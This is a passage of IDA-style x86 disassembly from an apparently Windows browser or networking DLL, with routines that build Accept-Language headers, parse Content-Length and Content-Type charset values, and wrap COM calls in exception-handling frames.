		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jge	short loc_69B7C5E7


loc_69B7C5C3:				; CODE XREF: sub_69B7C4A6+4Fj
					; sub_69B7C4A6+6Fj ...
		add	ebx, 0C0h
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_69B7C5D5
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7C5D5:				; CODE XREF: sub_69B7C4A6+127j
		mov	eax, [esi]
		and	dword ptr [ebx], 0
		test	eax, eax
		jz	short loc_69B7C5E4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7C5E4:				; CODE XREF: sub_69B7C4A6+136j
		and	dword ptr [esi], 0


loc_69B7C5E7:				; CODE XREF: sub_69B7C4A6+11Bj
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7C5F4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7C5F4:				; CODE XREF: sub_69B7C4A6+146j
		mov	eax, [ebp+var_8]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_69B7C605
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7C605:				; CODE XREF: sub_69B7C4A6+157j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B7C4A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7C60C	proc near		; DATA XREF: .text:69B2A61Co
		push	470h
		push	offset dword_69B7C890
		call	sub_69B19C5C
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	[ebp-1Ch], eax
		call	dword_69B92948
		mov	[ebp-20h], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B7C63F
		mov	eax, 80004005h
		jmp	loc_69B7C84F
; ---------------------------------------------------------------------------


loc_69B7C63F:				; CODE XREF: sub_69B7C60C+27j
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B1A8C7
		mov	[ebp-30h], edi
		mov	[ebp-34h], edi
		push	edi
		lea	ecx, [ebp-4Ch]
		call	sub_69B7BF52
		mov	dword ptr [ebp-50h], 1
		mov	eax, [ebp+18h]
		mov	[eax], edi
		mov	ebx, [ebp+8]
		mov	esi, [ebx+3Ch]
		cmp	esi, edi
		jz	loc_69B7C81F
		mov	edi, [esi+0Ch]
		push	0FFFFFFFFh	; int
		push	offset aAcceptLanguage ; "Accept-Language"
		call	sub_69B2EDFA
		push	eax
		mov	ecx, esi
		call	sub_69B1980A
		test	eax, eax
		jnz	short loc_69B7C6A3
		push	offset aAcceptLanguage ; "Accept-Language"
		lea	ecx, [ebp-4Ch]
		call	sub_69B7C1E2
		test	al, al
		jnz	short loc_69B7C6A3
		and	dword ptr [ebp-50h], 0
		inc	edi


loc_69B7C6A3:				; CODE XREF: sub_69B7C60C+7Fj
					; sub_69B7C60C+90j
		test	edi, edi
		jz	loc_69B7C81F
		and	dword ptr [ebp-4], 0
		shl	edi, 5
		push	edi
		call	sub_69B88D8C
		mov	esi, eax
		mov	[ebp-54h], esi
		push	dword ptr [ebp+10h] ; lpString
		lea	ecx, [ebp-4Ch]
		call	sub_69B7B446
		cmp	dword ptr [ebp-50h], 0
		jnz	short loc_69B7C71C
		mov	dword ptr [ebp-58h], 200h
		lea	eax, [ebp-58h]
		push	eax
		lea	eax, [ebp-458h]
		push	eax
		call	ds:GetAcceptLanguagesW	; GetAcceptLanguagesW
		test	eax, eax
		jl	short loc_69B7C71C
		push	offset aAcceptLanguage ; "Accept-Language"
		mov	ecx, esi
		call	sub_69B88E04
		push	offset asc_69B7C884 ; ": "
		mov	ecx, esi
		call	sub_69B88E04
		lea	eax, [ebp-458h]
		push	eax		; lpString
		mov	ecx, esi
		call	sub_69B88E04
		push	offset asc_69B2778C ; "\r\n"
		mov	ecx, esi
		call	sub_69B88E04


loc_69B7C71C:				; CODE XREF: sub_69B7C60C+C0j
					; sub_69B7C60C+DCj
		mov	eax, [ebx+3Ch]
		mov	[ebp-45Ch], eax
		push	0
		push	eax
		call	sub_69B3156E
		mov	[ebp-460h], eax


loc_69B7C733:				; CODE XREF: sub_69B7C60C+15Bj
					; sub_69B7C60C+19Fj
		mov	edi, [ebp-460h]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		test	al, al
		jz	short loc_69B7C7AD
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+40h]
		mov	edi, eax
		mov	[ebp-464h], edi
		mov	eax, [edi+0Ch]
		mov	[ebp-468h], eax
		push	eax		; lpString
		lea	ecx, [ebp-4Ch]
		call	sub_69B7C1E2
		test	al, al
		jnz	short loc_69B7C733
		mov	ecx, [ebx+3Ch]
		mov	[ebp-46Ch], ecx
		push	edi
		call	sub_69B1980A
		mov	[ebp-470h], eax
		push	edi
		mov	ecx, esi
		call	sub_69B88EA5
		push	offset asc_69B7C884 ; ": "
		mov	ecx, esi
		call	sub_69B88E04
		push	dword ptr [ebp-470h]
		mov	ecx, esi
		call	sub_69B88EA5
		push	offset asc_69B2778C ; "\r\n"
		mov	ecx, esi
		call	sub_69B88E04
		jmp	short loc_69B7C733
; ---------------------------------------------------------------------------


loc_69B7C7AD:				; CODE XREF: sub_69B7C60C+136j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		mov	esi, eax
		mov	[ebp-474h], esi
		mov	eax, [esi+8]
		mov	[ebp-478h], eax
		lea	edi, [eax+eax+2]
		mov	[ebp-47Ch], edi
		push	edi		; cb
		call	ds:CoTaskMemAlloc
		mov	ecx, [ebp+18h]
		mov	[ecx], eax
		test	eax, eax
		jz	short loc_69B7C7F0
		mov	ecx, [esi+0Ch]
		mov	[ebp-480h], ecx
		push	ecx
		push	edi
		push	eax
		call	sub_69B7B48A


loc_69B7C7F0:				; CODE XREF: sub_69B7C60C+1D1j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B7C81F
; ---------------------------------------------------------------------------


loc_69B7C7FD:				; DATA XREF: .text:69B7C894o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7C806:				; DATA XREF: .text:69B7C898o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp+8]


loc_69B7C81F:				; CODE XREF: sub_69B7C60C+60j
					; sub_69B7C60C+99j ...
		push	dword ptr [ebp-34h]
		push	dword ptr [ebp-30h]
		lea	ecx, [ebx-28h]
		call	sub_69B7B3C8
		lea	ecx, [ebp-4Ch]
		call	sub_69B7BF80
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_69B7C84C
		push	dword ptr [ebp-20h]
		call	dword_69B92944


loc_69B7C84C:				; CODE XREF: sub_69B7C60C+235j
		mov	eax, [ebp-30h]


loc_69B7C84F:				; CODE XREF: sub_69B7C60C+2Ej
		mov	ecx, [ebp-1Ch]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		call	sub_69B1853C
		retn	14h
sub_69B7C60C	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR aAcceptLanguage
aAcceptLanguage:			; DATA XREF: sub_69B7C60C+6Bo
					; sub_69B7C60C+81o ...
		unicode	0, <Accept-Language>,0
; const	WCHAR asc_69B7C884
asc_69B7C884:				; DATA XREF: sub_69B7C60C+EAo
					; sub_69B7C60C+17Ao
		unicode	0, <: >,0
		align 10h
dword_69B7C890	dd 0FFFFFFFFh			dd offset loc_69B7C7FD
		dd offset loc_69B7C806

; =============== S U B	R O U T	I N E =======================================



sub_69B7C89C	proc near		; DATA XREF: .text:69B2A620o
		push	44h
		push	offset dword_69B7CB48
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B7C8C1
		mov	eax, 80004005h
		jmp	loc_69B7CB0D
; ---------------------------------------------------------------------------


loc_69B7C8C1:				; CODE XREF: sub_69B7C89C+19j
		push	esi
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-2Ch], esi
		mov	[ebp-30h], esi
		mov	[ebp-34h], esi
		push	3
		pop	eax
		mov	edi, [ebp+8]
		cmp	[edi+14h], eax
		jge	short loc_69B7C8E2
		mov	[edi+14h], eax


loc_69B7C8E2:				; CODE XREF: sub_69B7C89C+41j
		mov	[ebp-4], esi
		lea	ebx, [edi+40h]
		push	dword ptr [ebp+10h] ; lpString
		mov	ecx, ebx
		call	sub_69B7B446
		mov	eax, [ebp+0Ch]
		mov	[edi+2Ch], eax
		lea	eax, [ebp-30h]
		push	eax		; int
		push	offset aContentLength ;	"Content-Length"
		mov	ecx, ebx
		call	sub_69B7C181
		test	al, al
		jz	short loc_69B7C945
		mov	eax, [ebp-30h]
		cmp	eax, esi
		jz	short loc_69B7C945
		cmp	[eax], si
		jz	short loc_69B7C945
		push	eax		; lpSrc
		call	ds:StrToIntW	; StrToIntW
		mov	[ebp-38h], eax
		cmp	eax, esi
		jg	short loc_69B7C928
		xor	eax, eax


loc_69B7C928:				; CODE XREF: sub_69B7C89C+88j
		mov	[edi+7Ch], eax
		cmp	eax, esi
		jz	short loc_69B7C945
		mov	[ebp-3Ch], eax
		push	eax
		call	sub_69B11E44
		mov	[ebp-40h], eax
		mov	[edi+78h], eax
		cmp	eax, esi
		jnz	short loc_69B7C945
		mov	[edi+7Ch], esi


loc_69B7C945:				; CODE XREF: sub_69B7C89C+6Ej
					; sub_69B7C89C+75j ...
		lea	eax, [ebp-2Ch]
		push	eax		; int
		push	offset aContentType ; "Content-Type"
		mov	ecx, ebx
		call	sub_69B7C181
		test	al, al
		jz	loc_69B7CAC7
		mov	ebx, [ebp-2Ch]
		cmp	ebx, esi
		jz	loc_69B7CAC7
		cmp	[ebx], si
		jz	loc_69B7CAC7
		mov	esi, ebx


loc_69B7C973:				; CODE XREF: sub_69B7C89C+EAj
		mov	[ebp-44h], esi
		mov	ax, [esi]
		test	ax, ax
		jz	short loc_69B7C988
		cmp	ax, 3Bh
		jz	short loc_69B7C988
		inc	esi
		inc	esi
		jmp	short loc_69B7C973
; ---------------------------------------------------------------------------


loc_69B7C988:				; CODE XREF: sub_69B7C89C+E0j
					; sub_69B7C89C+E6j
		mov	eax, esi
		sub	eax, ebx
		sar	eax, 1
		mov	[ebp-48h], eax
		push	8		; nChar
		push	offset aTextXml_0 ; "text/xml"
		push	ebx		; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jz	short loc_69B7C9B5
		push	0Fh		; nChar
		push	offset aApplicationXml ; "application/xml"
		push	ebx		; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B7C9BC


loc_69B7C9B5:				; CODE XREF: sub_69B7C89C+105j
		mov	byte ptr [edi+89h], 1


loc_69B7C9BC:				; CODE XREF: sub_69B7C89C+117j
					; sub_69B7C89C+139j
		mov	ax, [esi]
		test	ax, ax
		jz	short loc_69B7C9D7
		cmp	ax, 20h
		jz	short loc_69B7C9D0
		cmp	ax, 3Bh
		jnz	short loc_69B7C9D7


loc_69B7C9D0:				; CODE XREF: sub_69B7C89C+12Cj
		inc	esi
		inc	esi
		mov	[ebp-44h], esi
		jmp	short loc_69B7C9BC
; ---------------------------------------------------------------------------


loc_69B7C9D7:				; CODE XREF: sub_69B7C89C+126j
					; sub_69B7C89C+132j ...
		cmp	word ptr [esi],	0
		jz	loc_69B7CAC5
		cmp	dword ptr [edi+84h], 0
		jnz	loc_69B7CAC5
		mov	[ebp-4Ch], esi
		and	dword ptr [ebp-50h], 0


loc_69B7C9F5:				; CODE XREF: sub_69B7C89C+16Cj
		mov	ax, [esi]
		test	ax, ax
		jz	short loc_69B7CA0A
		cmp	ax, 3Dh
		jz	short loc_69B7CA0A
		inc	esi
		inc	esi
		mov	[ebp-44h], esi
		jmp	short loc_69B7C9F5
; ---------------------------------------------------------------------------


loc_69B7CA0A:				; CODE XREF: sub_69B7C89C+15Fj
					; sub_69B7C89C+165j
		mov	eax, esi
		sub	eax, [ebp-4Ch]
		sar	eax, 1
		mov	[ebp-48h], eax
		push	7		; nChar
		push	offset aCharset	; "charset"
		push	dword ptr [ebp-4Ch] ; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B7C9D7
		cmp	[esi], ax
		jz	loc_69B7CAC5


loc_69B7CA31:				; CODE XREF: sub_69B7C89C+1AEj
		mov	ax, [esi]
		test	ax, ax
		jz	short loc_69B7CA4C
		cmp	ax, 3Dh
		jz	short loc_69B7CA45
		cmp	ax, 22h
		jnz	short loc_69B7CA4C


loc_69B7CA45:				; CODE XREF: sub_69B7C89C+1A1j
		inc	esi
		inc	esi
		mov	[ebp-44h], esi
		jmp	short loc_69B7CA31
; ---------------------------------------------------------------------------


loc_69B7CA4C:				; CODE XREF: sub_69B7C89C+19Bj
					; sub_69B7C89C+1A7j
		mov	[ebp-50h], esi


loc_69B7CA4F:				; CODE XREF: sub_69B7C89C+1D2j
		mov	ax, [esi]
		test	ax, ax
		jz	short loc_69B7CA70
		cmp	ax, 22h
		jz	short loc_69B7CA70
		cmp	ax, 3Bh
		jz	short loc_69B7CA70
		cmp	ax, 20h
		jz	short loc_69B7CA70
		inc	esi
		inc	esi
		mov	[ebp-44h], esi
		jmp	short loc_69B7CA4F
; ---------------------------------------------------------------------------


loc_69B7CA70:				; CODE XREF: sub_69B7C89C+1B9j
					; sub_69B7C89C+1BFj ...
		mov	eax, esi
		sub	eax, [ebp-50h]
		sar	eax, 1
		mov	[ebp-48h], eax
		lea	ebx, [eax+eax]
		lea	eax, [ebx+2]
		push	eax
		call	sub_69B11E44
		mov	[ebp-54h], eax
		mov	[edi+84h], eax
		test	eax, eax
		jz	loc_69B7C9D7
		mov	ecx, ebx
		mov	esi, [ebp-50h]
		mov	edi, eax
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+8]
		mov	eax, [eax+84h]
		and	word ptr [ebx+eax], 0
		mov	esi, [ebp-44h]
		mov	edi, [ebp+8]
		jmp	loc_69B7C9D7
; ---------------------------------------------------------------------------


loc_69B7CAC5:				; CODE XREF: sub_69B7C89C+13Fj
					; sub_69B7C89C+14Cj ...
		xor	esi, esi


loc_69B7CAC7:				; CODE XREF: sub_69B7C89C+BBj
					; sub_69B7C89C+C6j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B7CAF4
; ---------------------------------------------------------------------------


loc_69B7CACD:				; DATA XREF: .text:69B7CB4Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7CAD6:				; DATA XREF: .text:69B7CB50o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	esi, esi


loc_69B7CAF4:				; CODE XREF: sub_69B7C89C+22Fj
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		cmp	[ebp-1Ch], esi
		jz	short loc_69B7CB0A
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B7CB0A:				; CODE XREF: sub_69B7C89C+263j
		mov	eax, [ebp-34h]


loc_69B7CB0D:				; CODE XREF: sub_69B7C89C+20j
		call	sub_69B1853C
		retn	14h
sub_69B7C89C	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR aCharset
aCharset:				; DATA XREF: sub_69B7C89C+17Ao
		unicode	0, <charset>,0
; const	WCHAR aApplicationXml
aApplicationXml:			; DATA XREF: sub_69B7C89C+109o
		unicode	0, <application/xml>,0
dword_69B7CB48	dd 0FFFFFFFFh			dd offset loc_69B7CACD
		dd offset loc_69B7CAD6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7CB54	proc near		; DATA XREF: .text:69B2A5E4o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	eax, eax
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edi, eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		jnz	short loc_69B7CB7D
		mov	eax, 80070057h
		jmp	loc_69B7CC84
; ---------------------------------------------------------------------------


loc_69B7CB7D:				; CODE XREF: sub_69B7CB54+1Dj
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[edi], eax
		mov	ecx, [esi-24h]
		cmp	ecx, eax
		jz	short loc_69B7CB8F
		call	sub_69B88114


loc_69B7CB8F:				; CODE XREF: sub_69B7CB54+34j
		test	eax, eax
		jz	loc_69B7CC34
		mov	ecx, [esi-24h]
		test	ecx, ecx
		jz	short loc_69B7CBA5
		call	sub_69B88114
		jmp	short loc_69B7CBA7
; ---------------------------------------------------------------------------


loc_69B7CBA5:				; CODE XREF: sub_69B7CB54+48j
		xor	eax, eax


loc_69B7CBA7:				; CODE XREF: sub_69B7CB54+4Fj
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_69B2B170
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B7CBDF
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	dword ptr [ecx+14h]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B7CC41
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B150
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B7CC1A
; ---------------------------------------------------------------------------


loc_69B7CBDF:				; CODE XREF: sub_69B7CB54+63j
		mov	ecx, [esi-24h]
		test	ecx, ecx
		jz	short loc_69B7CBED
		call	sub_69B88114
		jmp	short loc_69B7CBEF
; ---------------------------------------------------------------------------


loc_69B7CBED:				; CODE XREF: sub_69B7CB54+90j
		xor	eax, eax


loc_69B7CBEF:				; CODE XREF: sub_69B7CB54+97j
		mov	ecx, [eax]
		lea	edx, [ebp+var_10]
		push	edx
		push	offset dword_69B2B040
		push	eax
		call	dword ptr [ecx]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B7CC41
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B150
		push	offset dword_69B7CC8C
		push	eax
		call	dword ptr [ecx+0Ch]


loc_69B7CC1A:				; CODE XREF: sub_69B7CB54+89j
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B7CC41
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7CC34
		mov	ecx, [eax]
		push	edi
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B7CC41


loc_69B7CC34:				; CODE XREF: sub_69B7CB54+3Dj
					; sub_69B7CB54+D1j
		cmp	dword ptr [edi], 0
		jnz	short loc_69B7CC41
		call	GetActiveWindow	; GetActiveWindow
		mov	[edi], eax


loc_69B7CC41:				; CODE XREF: sub_69B7CB54+76j
					; sub_69B7CB54+ADj ...
		mov	eax, [ebp+var_8]
		test	eax, eax
		pop	esi
		jz	short loc_69B7CC4F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7CC4F:				; CODE XREF: sub_69B7CB54+F3j
		mov	eax, [ebp+var_C]
		and	[ebp+var_8], 0
		test	eax, eax
		jz	short loc_69B7CC60
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7CC60:				; CODE XREF: sub_69B7CB54+104j
		mov	eax, [ebp+var_4]
		and	[ebp+var_C], 0
		test	eax, eax
		jz	short loc_69B7CC71
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7CC71:				; CODE XREF: sub_69B7CB54+115j
		mov	eax, [ebp+var_10]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_69B7CC82
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7CC82:				; CODE XREF: sub_69B7CB54+126j
		mov	eax, ebx


loc_69B7CC84:				; CODE XREF: sub_69B7CB54+24j
		pop	edi
		pop	ebx
		leave
		retn	0Ch
sub_69B7CB54	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B7CC8C	dd 4C96BE40h, 11CF915Ch, 0AA00D399h, 37E84A00h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7CC9C	proc near		; DATA XREF: .text:69B2A5D4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		xor	eax, eax
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AF90
		xor	edx, edx
		mov	[ebx], eax
		repe cmpsd
		mov	[ebp+var_4], eax
		jz	short loc_69B7CD34
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AF80
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B7CD34
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AF60
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B7CD34
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi-28h]
		cmp	ecx, eax
		jz	short loc_69B7CCEF
		call	sub_69B88114


loc_69B7CCEF:				; CODE XREF: sub_69B7CC9C+4Cj
		test	eax, eax
		jz	short loc_69B7CD2D
		mov	ecx, [esi-28h]
		test	ecx, ecx
		jz	short loc_69B7CD01
		call	sub_69B88114
		jmp	short loc_69B7CD03
; ---------------------------------------------------------------------------


loc_69B7CD01:				; CODE XREF: sub_69B7CC9C+5Cj
		xor	eax, eax


loc_69B7CD03:				; CODE XREF: sub_69B7CC9C+63j
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B040
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B7CD45
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7CD52
		mov	ecx, [eax]
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+0Ch]
		jmp	short loc_69B7CD43
; ---------------------------------------------------------------------------


loc_69B7CD2D:				; CODE XREF: sub_69B7CC9C+55j
		mov	esi, 80004002h
		jmp	short loc_69B7CD45
; ---------------------------------------------------------------------------


loc_69B7CD34:				; CODE XREF: sub_69B7CC9C+20j
					; sub_69B7CC9C+31j ...
		mov	eax, [ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		add	eax, 0FFFFFFC8h
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]


loc_69B7CD43:				; CODE XREF: sub_69B7CC9C+8Fj
		mov	esi, eax


loc_69B7CD45:				; CODE XREF: sub_69B7CC9C+79j
					; sub_69B7CC9C+96j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7CD52
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7CD52:				; CODE XREF: sub_69B7CC9C+80j
					; sub_69B7CC9C+AEj
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B7CC9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7CD5B	proc near		; DATA XREF: .text:69B14554o
		push	20h
		push	offset dword_69B7CE10
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7CD7E
		mov	eax, 80004005h
		jmp	loc_69B7CE02
; ---------------------------------------------------------------------------


loc_69B7CD7E:				; CODE XREF: sub_69B7CD5B+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		sub	esp, 10h
		lea	esi, [ebp+34h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		sub	esp, 10h
		lea	esi, [ebp+24h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		sub	esp, 10h
		lea	esi, [ebp+14h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+38h]
		jmp	short loc_69B7CDE7
; ---------------------------------------------------------------------------


loc_69B7CDC9:				; DATA XREF: .text:69B7CE14o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7CDD2:				; DATA XREF: .text:69B7CE18o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7CDE7:				; CODE XREF: sub_69B7CD5B+6Cj
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7CE02:				; CODE XREF: sub_69B7CD5B+1Ej
		call	sub_69B1853C
		retn	3Ch
sub_69B7CD5B	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7CE10	dd 0FFFFFFFFh			dd offset loc_69B7CDC9
		dd offset loc_69B7CDD2

; =============== S U B	R O U T	I N E =======================================



sub_69B7CE1C	proc near		; DATA XREF: .text:69B14568o
		push	20h
		push	offset dword_69B7CEA0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7CE3C
		mov	eax, 80004005h
		jmp	short loc_69B7CE96
; ---------------------------------------------------------------------------


loc_69B7CE3C:				; CODE XREF: sub_69B7CE1C+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+48h]
		jmp	short loc_69B7CE7B
; ---------------------------------------------------------------------------


loc_69B7CE5D:				; DATA XREF: .text:69B7CEA4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7CE66:				; DATA XREF: .text:69B7CEA8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7CE7B:				; CODE XREF: sub_69B7CE1C+3Fj
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7CE96:				; CODE XREF: sub_69B7CE1C+1Ej
		call	sub_69B1853C
		retn	4
sub_69B7CE1C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7CEA0	dd 0FFFFFFFFh			dd offset loc_69B7CE5D
		dd offset loc_69B7CE66

; =============== S U B	R O U T	I N E =======================================



sub_69B7CEAC	proc near		; DATA XREF: .text:69B14558o
		push	20h
		push	offset dword_69B7CF38
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7CECC
		mov	eax, 80004005h
		jmp	short loc_69B7CF2C
; ---------------------------------------------------------------------------


loc_69B7CECC:				; CODE XREF: sub_69B7CEAC+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+3Ch]
		jmp	short loc_69B7CF11
; ---------------------------------------------------------------------------


loc_69B7CEF3:				; DATA XREF: .text:69B7CF3Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7CEFC:				; DATA XREF: .text:69B7CF40o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7CF11:				; CODE XREF: sub_69B7CEAC+45j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7CF2C:				; CODE XREF: sub_69B7CEAC+1Ej
		call	sub_69B1853C
		retn	0Ch
sub_69B7CEAC	endp

